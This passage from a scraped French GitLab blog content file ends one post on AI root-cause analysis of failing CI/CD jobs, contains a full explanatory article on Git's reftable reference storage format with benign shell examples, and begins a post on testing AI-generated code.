d'exécuter avec succès l'application Python et d'enregistrer sa sortie dans le job log CI/CD.\n\n\n![sortie de l'application Python](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097332/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097332603.png)\n\n\nLa solution est fournie dans le [dépôt solution/](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/root-cause-analysis/challenge-root-cause-analysis-python-config/-/tree/main/solution?ref_type=heads).\n\n\n**Conseil :** vous pouvez également demander à [GitLab Duo Chat](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html) de suivre les problèmes potentiels à l'avenir.\n\n\n```markdown\n\nHow to lint Python code? Which tools are recommended for CI/CD.\n\nHow to pin a package version in Python requirements file?\t\n\nWhat are possible ways that this exception stacktrace is triggered in the future?\n\nAre there ways to prevent the application from failing?\n\n```\n\n\nL'exemple suivant est plus avancé et comprend plusieurs échecs. \n\n\n#### 2. Analysez le runtime Go manquant\n\n\nLes jobs CI/CD peuvent être exécutés dans des conteneurs, générés à partir de l'attribut `image` fourni. Si le conteneur ne fournit pas de runtime de langage de programmation, les sections `script` exécutées faisant référence au binaire `go` échouent. Par exemple, il est nécessaire de comprendre et de corriger le message d'erreur `/bin/sh: eval: line 149: go: not found`. \n\n\nPlusieurs raisons peuvent expliquer que la commande `go` ne se trouve pas dans le contexte de runtime du conteneur :\n\n\n1. Le job utilise une image de conteneur minimale, par exemple `alpine`, et le runtime du langage Go n'a pas été installé.\n\n2. Le job utilise la mauvaise image de conteneur par défaut, par exemple, celle indiquée au-dessus de la configuration CI/CD ou correspondant au mot-clé `default`.\n\n3. Le job utilise le Shell executor (exécuteur Shell) à la place de l'image de conteneur. Le runtime Go n'est pas installé sur le système d'exploitation hôte, il échoue pour un autre motif ou n'est pas configuré.\n\n\nNotre projet « [Challenge - Root Cause Analysis - Go GitLab Release Fetcher](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/root-cause-analysis/challenge-root-cause-analysis-go-gitlab-release-fetcher) » propose un exercice d'analyse et de résolution des problèmes CI/CD avec une application de récupération de versions GitLab, écrite en langage Go. Les jobs CI/CD `build` et `docker-build` échouent. La résolution du problème a différentes portées : comprendre pourquoi le runtime Go n'est pas installé et en apprendre davantage sur la syntaxe `Dockerfile`.\n\n\n![Capture d'écran montrant l'échec du job Modifier l'étiquette Docker](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097332/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097332603.png)\n\n\nLe [dépôt `solution/`](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/root-cause-analysis/challenge-root-cause-analysis-go-gitlab-release-fetcher) suggère deux solutions possibles après l'analyse des causes profondes. \n\n\n## Entraînez-vous à utiliser l'analyse des causes profondes\n\n\nVoici plusieurs scénarios pour lesquels vous pouvez vous entraîner à travailler avec la fonctionnalité d'analyse des causes profondes de GitLab.\n\n\n* Lorsque vous rencontrez des délais d'attente expirés ou des erreurs de déploiements. \n\n* Lorsque des pipelines IaC OpenTofu ou Terraform ne parviennent pas à provisionner vos ressources cloud.\n\n* Lorsque le playbook Ansible échoue et affiche un message d'erreur cryptique d'autorisation dans le CI/CD.\n\n* Lorsque la trace d'appels Java contient 10 pages.\n\n* Lorsqu'un script shell met en évidence une erreur d'exécution.\n\n* Lorsqu'un script Perl échoue sur la seule ligne que ce script contient.\n\n* Lorsque le job CI/CD est interrompu et que la section qui en serait la cause n'est pas évidente.\n\n* Lorsqu'un délai d'attente de connexion réseau est atteint et que vous pensez qu'il ne peut pas s'agir du DNS.\n\n\n## Quels sont les prochains développements prévus pour l'analyse des causes profondes de GitLab Duo ?\n\n\nNous voulons aider nos utilisateurs à réduire le nombre d'itérations nécessaires pour valider leurs [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ? \"). À l'avenir, la fonctionnalité d'analyse des causes profondes de GitLab s'ouvrira systématiquement et affichera la réponse dans GitLab Duo Chat, notre assistant d'IA. Les utilisateurs pourront alors s'appuyer sur la recommandation pour générer un correctif plus précis en posant des questions spécifiques (par exemple, des correctifs spécifiques pour un langage de programmation particulier) ou en demandant des correctifs alternatifs en fonction de la cause profonde identifiée.\n\n\nPar exemple, voici le résultat de l'analyse des causes profondes d'un job ayant rencontré un échec :\n\n\n![Réponse de l'Analyse des causes profondes](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097332/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097332603.png)\n\n\nLes utilisateurs peuvent poser des questions de suivi qui approfondissent la réponse générée par l'IA.\n\n\n* Je ne veux pas créer ma propre image Docker. Veuillez suggérer d'autres façons de résoudre le problème.\n\n* Je n'ai pas accès à la création d'image Docker. Il semble que le binaire Go soit manquant. Pouvez-vous suggérer des images alternatives ?\n\n\nGitLab exécutera également un benchmark de la qualité des réponses générées et mettra en place des améliorations pour rendre l'utilisation plus conviviale et efficace.\n\n\nConsultez notre [epic sur la disponibilité générale de l'analyse des causes profondes](https://gitlab.com/groups/gitlab-org/-/epics/13080) pour en savoir plus et laissez un commentaire sur notre [ticket dédié à l'analyse des causes profondes](https://gitlab.com/groups/gitlab-org/-/epics/13872) pour nous dire ce que vous pensez de cette fonctionnalité. \n\n\n## Profitez dès maintenant des nombreux avantages de l'analyse des causes profondes\n\n\nPour activer cette fonctionnalité, consultez notre [documentation](https://docs.gitlab.com/ee/user/ai_experiments.html#root-cause-analysis). L'analyse des causes profondes est disponible actuellement pour nos clients GitLab Ultimate et sera bientôt disponible dans GitLab Auto-géré et GitLab Dedicated.\n\n\nVous souhaitez tester GitLab Ultimate ? Commencez dès aujourd'hui [un essai gratuit de 30 jours](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial). \n\n\n## En savoir plus sur le « Développement de GitLab Duo »\n\n\n* [Développement de GitLab Duo : comment nous validons et testons les modèles d'IA à grande échelle](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n\n* [Développement de GitLab Duo : mesurer le ROI de l’IA avec le tableau de bord d'analyse d'impact](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n\n* [Développement de GitLab Duo : comment nous utilisons nos propres fonctionnalités d'IA](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n\n* [Développement de GitLab Duo : tester et sécuriser le code généré par l'IA](https://about.gitlab.com/fr-fr/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code/)\n",[699,1069,784,1067,675],{"slug":2783,"featured":92,"template":683},"developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd","content:fr-fr:blog:developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd.yml","Developing Gitlab Duo Blending Ai And Root Cause Analysis To Fix Ci Cd","fr-fr/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd.yml","fr-fr/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd",{"_path":2789,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2790,"content":2796,"config":2802,"_id":2804,"_type":16,"title":2805,"_source":17,"_file":2806,"_stem":2807,"_extension":20},"/fr-fr/blog/a-beginners-guide-to-the-git-reftable-format",{"title":2791,"description":2792,"ogTitle":2791,"ogDescription":2792,"noIndex":6,"ogImage":2793,"ogUrl":2794,"ogSiteName":841,"ogType":842,"canonicalUrls":2794,"schema":2795},"Format reftable de Git : guide pour les débutants","Dans la version 2.45.0 de Git, GitLab a introduit le backend « reftable », révolutionnant ainsi le stockage des références. Découvrez en détail le fonctionnement de ce nouveau format.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664595/Blog/Hero%20Images/blog-image-template-1800x945__9_.png","https://about.gitlab.com/blog/a-beginners-guide-to-the-git-reftable-format","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Format reftable de Git : guide pour les débutants\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patrick Steinhardt\"}],\n        \"datePublished\": \"2024-05-30\",\n      }",{"title":2791,"description":2792,"authors":2797,"heroImage":2793,"date":2798,"body":2799,"category":928,"tags":2800,"updatedDate":2801},[1437],"2024-05-30","Jusqu'à récemment, Git ne pouvait stocker des références qu'au format « fichiers ». Avec la [version 2.45.0 de Git](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-45-0/), Git peut désormais stocker des références au format « reftable ». Ce nouveau format binaire est un peu plus complexe, mais c'est précisément cette complexité qui lui permet de corriger plusieurs lacunes du format « fichiers ». Les objectifs du format « reftable » sont les suivants :\n\n- Rendre la recherche d'une référence unique et l'itération à travers des plages de références aussi efficaces et rapides que possible.\n- Prendre en charge des lectures cohérentes des références afin que Git ne lise jamais un état intermédiaire lorsqu'une mise à jour de plusieurs références n'a été appliquée que partiellement.\n- Prendre en charge des écritures atomiques de sorte que la mise à jour de plusieurs références peut être effectuée comme une opération tout ou rien.\n- Stocker efficacement des références et des journaux de référence (« reflog »).\n\nDans cet article, nous allons examiner le format « reftable » pour comprendre son fonctionnement.\n\n## Stockage des références dans Git\n\nAvant d'entrer dans les détails, récapitulons rapidement la façon dont [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ? \") stockait les références jusqu'à présent. Si le sujet vous est familier, vous pouvez passer cette section.\n\nUn dépôt Git contient deux structures de données importantes :\n\n- [Les objets](https://git-scm.com/book/fr/v2/Les-tripes-de-Git-Les-objets-de-Git), qui contiennent les données réelles de votre dépôt. Ils incluent les validations (« commits »), la structure d'arborescence des répertoires (« tree ») et les blobs qui contiennent votre code source. Les objets sont organisés de manière à ce qu'ils pointent les uns vers les autres, formant ainsi un graphe des objets. En outre, chaque objet est associé à un identifiant unique, appelé ID d'objet.\n\n- Les références, telles que les branches et les étiquettes (« tags »). Ces pointeurs sur des objets du graphe vous permettent de donner des noms à des objets qui sont plus faciles à mémoriser et de suivre les différentes étapes et directions de votre historique de développement. Par exemple, un dépôt peut contenir une branche `main` : il s'agit d'une référence nommée `refs/heads/main` qui pointe vers une validation spécifique.\n\nLes références sont stockées dans la base de données des références. Jusqu'à la version 2.45.0 de Git, le format « fichiers » constituait le seul format de base de données disponible. Ce format stocke chaque référence en tant que fichier normal contenant l'un des éléments suivants :\n\n- Une référence standard qui contient l'ID d'objet de la validation vers laquelle elle pointe.\n- Une référence symbolique qui contient le nom d'une autre référence, de la même manière qu'un lien symbolique pointe vers un autre fichier.\n\nCes références sont régulièrement empaquetées dans un seul fichier `packed-refs` afin de faciliter les recherches.\n\nLes exemples suivants illustrent le fonctionnement du format « fichiers » :\n\n```shell\n$ git init .\n$ git commit --allow-empty --message \"Initial commit\"\n[main (root-commit) 6917c17] Initial commit\n\n# HEAD is a symbolic reference pointing to refs/heads/main.\n$ cat .git/HEAD\nref: refs/heads/main\n\n# refs/heads/main is a regular reference pointing to a commit.\n$ cat .git/refs/heads/main\n6917c178cfc3c50215a82cf959204e9934af24c8\n\n# git-pack-refs(1) packs these references into the packed-refs file.\n$ git pack-refs --all\n$ cat .git/packed-refs\n# pack-refs with: peeled fully-peeled sorted\n6917c178cfc3c50215a82cf959204e9934af24c8 refs/heads/main\n```\n\n## Vue d'ensemble de la structure « reftable » \n\nSi vous avez installé la version 2.45.0 de Git ou une version plus récente, vous pouvez créer un dépôt au format « reftable » en utilisant l'option `--ref-format=reftable` :\n\n```shell\n$ git init --ref-format=reftable .\nInitialized empty Git repository in /tmp/repo/.git/\n$ git rev-parse --show-ref-format\nreftable\n\n# Irrelevant files have been removed for ease of understanding.\n$ tree .git\n.git\n├── config\n├── HEAD\n├── index\n├── objects\n├── refs\n│   └── heads\n└── reftable\n\t├── 0x000000000001-0x000000000002-40a482a9.ref\n\t└── tables.list\n\n4 directories, 6 files\n```\n\nRegardez la configuration du dépôt. Remarquez tout d'abord sa clé de configuration `extension.refstorage` :\n\n```shell\n$ cat .git/config\n[core]\n    repositoryformatversion = 1\n    filemode = true\n    bare = false\n    logallrefupdates = true\n[extensions]\n    refstorage = reftable\n```\n\nCette configuration indique à Git que le dépôt a été initialisé avec le format « reftable » et que Git doit utiliser le backend « reftable » pour y accéder.\n\nCurieusement, le dépôt contient encore des fichiers qui semblent utilisés par le backend « fichiers » :\n\n- `HEAD` est une référence symbolique dans Git qui indique généralement la branche sur laquelle vous travaillez actuellement. Bien que le format « reftable » n'utilise pas HEAD, la présence de cette référence est nécessaire pour qu'un répertoire soit reconnu comme un dépôt Git par les clients Git. Par conséquent, lorsque vous utilisez le format « reftable », `HEAD` est juste une entité fictive et temporaire dont le contenu est `ref: refs/heads/.invalid`.\n\n- `refs/head` est un fichier dont le contenu est : `this repository uses the reftable format`. Les clients Git qui ne connaissent pas le format « reftable » s'attendent généralement à ce que le chemin d'accès soit un répertoire. Par conséquent, la création de ce chemin d'accès en tant que fichier entraîne intentionnellement l'échec des anciens clients Git s'ils tentent d'accéder au dépôt par le biais du backend « fichiers ».\n\nLes références réelles sont stockées dans le répertoire `reftable/` :\n\n```shell\n$ tree .git/reftable\n.git/reftable/\n├── 0x000000000001-0x000000000001-794bd722.ref\n└── tables.list\n\n$ cat .git/reftable/tables.list\n0x000000000001-0x000000000001-794bd722.ref\n```\n\nIl y a ici deux fichiers :\n\n- `0x000000000001-0x000000000001-794bd722.ref` est une table contenant des références et des données de reflog dans un format binaire.\n\n- `tables.list` est, comme son nom l'indique, une liste de tables. Dans l'état actuel du dépôt, le fichier contient une seule ligne, qui est le nom de la table. Ce fichier suit l'ensemble actuel des tables actives dans la base de données « reftable ». Il est mis à jour chaque fois que de nouvelles tables sont ajoutées au dépôt.\n\nLa mise à jour d'une référence crée une nouvelle table :\n\n```shell\n$ git commit --allow-empty --message \"Initial commit\"\n[main (root-commit) 1472a58] Initial commit\n\n$ tree .git/reftable\n.git/reftable/\n├── 0x000000000001-0x000000000002-eb87d12b.ref\n└── tables.list\n\n$ cat .git/reftable/tables.list\n0x000000000001-0x000000000002-eb87d12b.ref\n```\n\nComme vous pouvez le constater, la table précédente a été remplacée par une nouvelle. En outre, le fichier `tables.list` a été mis à jour pour contenir la nouvelle table.\n\n## Structure d'une table\n\nComme mentionné précédemment, les données réelles de la base de données des références sont contenues dans des tables. Pour faire simple, une table se divise en plusieurs sections :\n\n- L'en-tête contient des métadonnées sur la table. En plus d'autres informations, il inclut la version du format, la taille des blocs de données et la fonction de hachage utilisée par le dépôt (par exemple, SHA1 ou SHA256).\n- La section « ref » contient vos références. Ces enregistrements ont une clé identique au nom de la référence et pointent soit vers un ID d'objet pour les références standards, soit vers une autre référence pour les références symboliques.\n- La section « obj » contient la correspondance inverse entre les ID d'objet et les références qui pointent vers eux. Celle-ci permet à Git de rechercher efficacement les références qui pointent vers un ID d'objet spécifique.\n- La section « log » contient vos éléments reflog. Ces enregistrements ont une clé identique au nom de la référence, plus un index qui représente le numéro de l'élément du journal. Ils contiennent en outre les anciens et nouveaux ID d'objet, ainsi que le message pour cet élément reflog.\n- Le « footer » contient des offsets pour les différentes sections.\n\n![table longue avec toutes les sections reftable](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675179/Blog/Content%20Images/Frame_1_-_Reftable_overview.svg)\n\nChaque type de section est structuré de manière similaire. Les sections contiennent un ensemble d'enregistrements qui sont classés en fonction de la clé de chaque enregistrement. Par exemple, lorsque vous avez ces deux enregistrements de références : `refs/heads/aaaaa` et `refs/heads/bbb`, vous avez deux enregistrements de références dont les noms de référence sont les clés respectives, et `refs/heads/aaaaa` vient avant `refs/heads/bbb`.\n\nChaque section est par ailleurs divisée en blocs d'une longueur fixe. La longueur d'un bloc est encodée dans l'en-tête et remplit deux fonctions :\n\n- En se basant sur le début de la section ainsi que la taille des blocs de données, le processus qui lit les tables sait implicitement où chacun des blocs commence. Git peut ainsi facilement effectuer une recherche au milieu d'une section sans lire les blocs précédents, ce qui permet d'effectuer des recherches par dichotomie sur des blocs pour accélérer la recherche d'enregistrements.\n- Elle permet au processus qui lit les tables de savoir combien de données lire sur le disque à la fois. Par conséquent, la taille des blocs de données est par défaut définie à 4 KiB, ce qui correspond à la taille de secteur la plus courante pour les disques durs. La taille maximale des blocs de données est de 16 Mo.\n\nIntéressons-nous à une section « ref » : elle ressemble à peu près au graphique suivant. Notez comment ses enregistrements sont ordonnés lexicographiquement à l'intérieur des blocs, mais aussi entre différents blocs.\n\n![bloc de référence non compressé](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675179/Blog/Content%20Images/Frame_2_-_Ref_block_uncompressed.svg)\n\nMaintenant que vous disposez de ces informations, vous pouvez localiser un enregistrement en suivant les étapes suivantes :\n\n1. Effectuez une recherche par dichotomie sur les blocs en regardant les clés de leurs premiers enregistrements respectifs, ce qui permet d'identifier le bloc qui doit contenir l'enregistrement.\n\n2. Effectuez une recherche linéaire sur les enregistrements de ce bloc.\n\nCes deux étapes sont encore quelque peu inefficaces. S'il y a beaucoup de blocs, vous devrez peut-être effectuer une lecture logarithmique d'un bon nombre d'entre eux au cours de la recherche par dichotomie pour trouver celui que vous recherchez. Et lorsque les blocs contiennent de nombreux enregistrements, une recherche linéaire doit potentiellement tous les lire.\n\nLe format « reftable » intègre des mécanismes supplémentaires pour résoudre ces problèmes de performance. Nous les mentionnerons dans les prochaines sections.\n\n### Compression de préfixe\n\nComme vous l'avez peut-être remarqué, toutes les clés d'enregistrement partagent le même préfixe `refs/`. C'est une norme établie dans Git :\n\n- Toutes les branches commencent par `refs/heads/`.\n- Toutes les étiquettes (« tags ») commencent par `refs/tags/`.\n\nPar conséquent, il est très probable que les enregistrements suivants partagent une partie importante du préfixe de leur clé. C'est une bonne occasion d'économiser de l'espace de stockage précieux. Comme nous savons que la plupart des clés partagent un préfixe commun, il est logique d'utiliser ce dernier à des fins d'optimisation.\n\nCelle-ci passe par la compression de préfixe. Chaque enregistrement encode une longueur de préfixe qui indique au processus qui lit les tables le nombre d'octets à réutiliser à partir de la clé de l'enregistrement précédent. Si vous avez deux enregistrements, `refs/heads/a` et `refs/heads/b`, ce dernier peut être encodé en spécifiant une longueur de préfixe de 11, puis en stockant uniquement le suffixe `b`. Le processus qui lit les tables prendra alors les 11 premiers octets de `refs/heads/a`, c'est-à-dire `refs/heads/`, et y ajoutera le suffixe `b`.\n\n![compression de préfixe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675179/Blog/Content%20Images/Frame_3_-_Ref_block_prefix_compression.svg)\n\n### « Restart points »\n\nComme expliqué précédemment et d'après vos connaissances actuelles du format « reftable », une recherche linéaire constitue la meilleure façon de chercher une référence dans un bloc, car la longueur des enregistrements n'est pas fixe. Il est donc impossible de savoir où les enregistrements devraient commencer sans parcourir l'intégralité du bloc depuis le début. En outre, même si les enregistrements étaient de longueur fixe, il ne serait pas possible de rechercher au milieu d'un bloc, car la compression de préfixe nous oblige également à lire les enregistrements précédents.\n\nUne recherche linéaire serait assez inefficace, dans la mesure où les blocs peuvent contenir des centaines, voire des milliers d'enregistrements. Pour résoudre ce problème, le format « reftable » encode des « restart points » dans chaque bloc. Les « restart points » sont des enregistrements non compressés où la compression de préfixe est réinitialisée. Par conséquent, les enregistrements des « restart points » contiennent toujours leur clé complète. Il devient donc possible de rechercher et de lire directement l'enregistrement, sans avoir à lire les enregistrements précédents. Ces « restart points » sont répertoriés dans le footer de chaque bloc.\n\nGrâce à ces informations, vous pouvez maintenant éviter d'effectuer une recherche linéaire sur le bloc. Effectuez plutôt une recherche par dichotomie sur les « restart points » en cherchant le premier « restart point » dont la clé est lexicographiquement supérieure à la clé recherchée. Il s'ensuit que l'enregistrement que vous recherchez doit être situé dans la section s'étendant entre le « restart point » _précédent_ et celui identifié.\n\nLa procédure initiale pour rechercher un enregistrement (recherche par dichotomie du bloc, recherche linéaire de l'enregistrement) est donc la suivante :\n\n1. Effectuez une recherche par dichotomie sur les blocs, pour identifier celui qui doit contenir l'enregistrement.\n\n2. Effectuez une recherche par dichotomie sur les « restart points », en identifiant la sous-section du bloc qui doit contenir l'enregistrement.\n\n3. Effectuez une recherche linéaire sur les enregistrements de cette sous-section.\n\n![Recherche linéaire pour un enregistrement](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675179/Blog/Content%20Images/Frame_4_-_Restart_points.svg)\n\n### Index\n\nBien que la recherche d'enregistrements à l'intérieur d'un bloc soit désormais raisonnablement efficace, ce n'est pas le cas pour l'identification du bloc spécifique. Une recherche par dichotomie peut être relativement performante sur quelques blocs, mais les dépôts contenant des millions de références peuvent comporter des centaines, voire des milliers de blocs. En l'absence d'une structure de données supplémentaire visant à minimiser les accès au disque, chaque recherche de bloc pourrait entraîner en moyenne un nombre important d'accès au disque.\n\nPour éviter cette situation, chaque section peut être suivie d'une section d'indexation qui fournit un moyen efficace de rechercher un bloc. Chaque enregistrement d'index contient les informations suivantes :\n\n- L'emplacement du bloc qu'il indexe.\n- La clé du dernier enregistrement du bloc qu'il indexe.\n\nPour trois blocs ou moins, une recherche par dichotomie nécessite toujours, au plus, deux lectures de disque pour trouver le bloc cible souhaité. Le nombre de lectures est le même pour un index : une pour lire l'index et une pour lire le bloc souhaité. Par conséquent, les index ne sont écrits que lorsqu'ils évitent de fait plusieurs lectures, ce qui est le cas lorsque quatre blocs ou plus sont indexés.\n\nLa question se pose alors de savoir ce qu'il se passe lorsque l'index lui-même devient si grand qu'il s'étend sur plusieurs blocs. Vous l'avez peut-être deviné : nous écrivons un nouvel index qui indexe l'index. Ces index à plusieurs niveaux ne deviennent vraiment nécessaires que lorsque vos dépôts contiennent des centaines de milliers de références.\n\nÀ l'aide de ces index, vous pouvez désormais accélérer la recherche d'enregistrements :\n1. Déterminez s'il existe un index en consultant le footer de la table.\n\t- Si c'est le cas, effectuez une recherche par dichotomie dans l'index pour trouver le bloc souhaité. Ce bloc peut pointer vers un bloc d'index, auquel cas il vous faut répéter l'opération jusqu'à atteindre un enregistrement du type souhaité.\n\t- Dans le cas contraire, effectuez une recherche par dichotomie dans les blocs comme auparavant.\n2. Effectuez une recherche par dichotomie sur les « restart points » pour identifier la sous-section du bloc qui doit contenir l'enregistrement.\n3. Effectuez une recherche linéaire sur les enregistrements de cette sous-section.\n\n## Tables multiples\n\nJusqu'à présent, nous n'avons discuté que de la façon de lire une table _unique_. Comme l'indique le nom `tables.list`, votre base de données « reftable » peut contenir une liste de tables.\n\nChaque fois que vous mettez à jour une référence dans votre dépôt, une nouvelle table est créée et ajoutée à `tables.list`. Vous obtiendrez donc plusieurs tables, comme suit :\n\n```shell\n$ tree .git/reftable/\n.git/reftable/\n├── 0x000000000001-0x000000000007-8dcd8a77.ref\n├── 0x000000000008-0x000000000008-30e0f6f6.ref\n└── tables.list\n\n$ cat .git/reftable/tables.list\n0x000000000001-0x000000000007-8dcd8a77.ref\n0x000000000008-0x000000000008-30e0f6f6.ref\n```\nLa lecture de l'état réel d'un dépôt nous oblige à fusionner ces multiples tables en une seule table virtuelle.\n\nVous vous demandez peut-être comment le format « reftable » connaît la valeur la plus récente d'une référence donnée, si une table est créée pour chaque mise à jour de référence et que la même référence est mise à jour plusieurs fois. Intuitivement, on pourrait supposer que la valeur serait celle de la table la plus récente contenant la référence.\n\nEn réalité, chaque enregistrement a un index de mise à jour qui encode la « priorisation » d'un enregistrement. Par exemple, s'il existe deux enregistrements pour le même nom de référence, celui qui a l'index de mise à jour le plus élevé remplace celui qui a l'index de mise à jour le plus bas.\n\nCes index de mise à jour sont visibles dans la structure de fichiers ci-dessus. Les longues chaînes hexagonales (par exemple `0x000000000001`) sont les index de mise à jour. L'index de mise à jour minimum contenu dans la table se trouve dans la partie gauche de son nom de fichier et l'index de mise à jour maximum dans la partie droite.\n\nLe merge des tables se fait ensuite via une [file d'attente de priorisation](https://fr.wikipedia.org/wiki/File_de_priorit%C3%A9) qui est triée par clé d’enregistrement ainsi que son index de mise à jour. Imaginez que vous voulez parcourir tous les enregistrements de références. Vous devez suivre les étapes suivantes :\n\n1. Pour chaque table, ajoutez son premier enregistrement à la file d'attente de priorisation.\n\n![Ajout du premier enregistrement à la file d'attente de priorisation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675179/Blog/Content%20Images/Frame_5_-_Priority_queue_1.svg)\n\n2. Récupérez et retirez de la file d'attente l'enregistrement en tête de la file. Comme la file d'attente est triée par index de mise à jour, cet enregistrement doit être la version la plus récente. Ajoutez l'enregistrement suivant de la table de cet enregistrement à la file d'attente de priorisation.\n\n![Définition de la tête de la file d'attente de priorisation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675179/Blog/Content%20Images/Frame_6_-_Priority_queue_2.svg)\n\n3. Retirez tous les enregistrements de la file d'attente qui ont la même clé que l’enregistrement récupéré. Ces enregistrements sont dépassés et ne seront pas utilisés. Pour chaque table pour laquelle vous supprimez des enregistrements, ajoutez l'enregistrement suivant à la file d'attente de priorisation.\n\n![Dépôt de tous les enregistrements de la file qui ont le même nom](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675179/Blog/Content%20Images/Frame_7_-_Priority_queue_3.svg)\nVous pouvez maintenant répéter les étapes ci-dessus pour lire les enregistrements pour d'autres clés.\n\nLes tables peuvent contenir des enregistrements spéciaux « tombstone » qui marquent un enregistrement supprimé. Vous pouvez ainsi supprimer des enregistrements sans avoir à réécrire toutes les tables afin qu'elles ne contiennent plus ces enregistrements.\n\n### Compactage automatique\n\nLa file d'attente de priorisation a beau être un concept simple, elle ne parviendrait pas à fusionner efficacement des centaines de tables, ni même des dizaines. S'il est vrai que chaque mise à jour de vos références ajoute une nouvelle table à votre fichier `tables.list`, ce n'est pas tout.\n\nLe compactage automatique entre ici en scène : lorsqu'une nouvelle table a été ajoutée à la liste des tables, le backend « reftable » vérifie si certaines des tables doivent être fusionnées. Ce processus utilise une méthode simple : nous vérifions que les tailles de fichiers de la liste des tables forment une [séquence géométrique](https://en.wikipedia.org/wiki/Geometric_progression). Chaque table `n` doit être au moins deux fois plus grande que la table suivante la plus récente `n + 1`. Si cette séquence géométrique n'est pas respectée, le backend compacte les tables afin de restaurer la séquence géométrique.\n\nCe processus aboutit à des structures de ce type :\n\n```shell\n$ du --apparent-size .git/reftable/*\n429    .git/reftable/0x000000000001-0x00000000bd7c-d9819000.ref\n101    .git/reftable/0x00000000bd7d-0x00000000c5ac-c34b88a4.ref\n32    .git/reftable/0x00000000c5ad-0x00000000cc6c-60391f53.ref\n8    .git/reftable/0x00000000cc6d-0x00000000cdc1-61c30db1.ref\n3    .git/reftable/0x00000000cdc2-0x00000000ce67-d9b55a96.ref\n1    .git/reftable/0x00000000ce68-0x00000000ce6b-44721696.ref\n1    .git/reftable/tables.list\n```\n\nNotez que la propriété `size(n) > size(n+1) * 2` est respectée pour chaque table.\n\nL'une des conséquences du compactage automatique est la maintenance automatique du backend « reftable ». Il n'est plus nécessaire d'exécuter `git pack-refs` dans un dépôt.\n\n## Vous souhaitez en savoir plus ?\n\nÀ présent, le fonctionnement du nouveau format « reftable » ne devrait plus avoir de secret pour vous. Si vous souhaitez approfondir vos connaissances, vous pouvez consulter la [documentation technique](https://git-scm.com/docs/reftable) fournie par le projet Git.\n\n> Lisez notre [récapitulatif sur Git 2.45.0](https://about.gitlab.com/blog/whats-new-in-git-2-45-0/), [Git 2.46.0](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-46-0/ \"Nouveautés Git 2.46.0\") et Git [2.47.0](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-47-0/ \"Nouveautés Git 2.47.0\") pour découvrir les autres points forts de cette version.",[1047,1069,913,1174],"2024-12-19",{"slug":2803,"featured":92,"template":683},"a-beginners-guide-to-the-git-reftable-format","content:fr-fr:blog:a-beginners-guide-to-the-git-reftable-format.yml","A Beginners Guide To The Git Reftable Format","fr-fr/blog/a-beginners-guide-to-the-git-reftable-format.yml","fr-fr/blog/a-beginners-guide-to-the-git-reftable-format",{"_path":2809,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2810,"content":2816,"config":2820,"_id":2822,"_type":16,"title":2823,"_source":17,"_file":2824,"_stem":2825,"_extension":20},"/fr-fr/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code",{"title":2811,"description":2812,"ogTitle":2811,"ogDescription":2812,"noIndex":6,"ogImage":2813,"ogUrl":2814,"ogSiteName":841,"ogType":842,"canonicalUrls":2814,"schema":2815},"Développement de GitLab Duo : tester et sécuriser le code généré par l'IA ","Découvrez, étape par étape, comment améliorer la fiabilité et la sécurité du code généré par l'IA à l'aide de GitLab Duo et de GitLab Pages.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097183/Blog/Hero%20Images/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25_7JlF3WlEkswGQbcTe8DOTB_1750097183481.png","https://about.gitlab.com/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Développement de GitLab Duo : tester et sécuriser le code généré par l'IA \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2024-05-30\",\n      }\n                  ",{"title":2811,"description":2812,"authors":2817,"heroImage":2813,"date":2798,"body":2818,"category":697,"tags":2819},[2677],"___L'IA générative marque une avancée majeure dans le domaine du développement logiciel, simplifiant le processus de développement, de 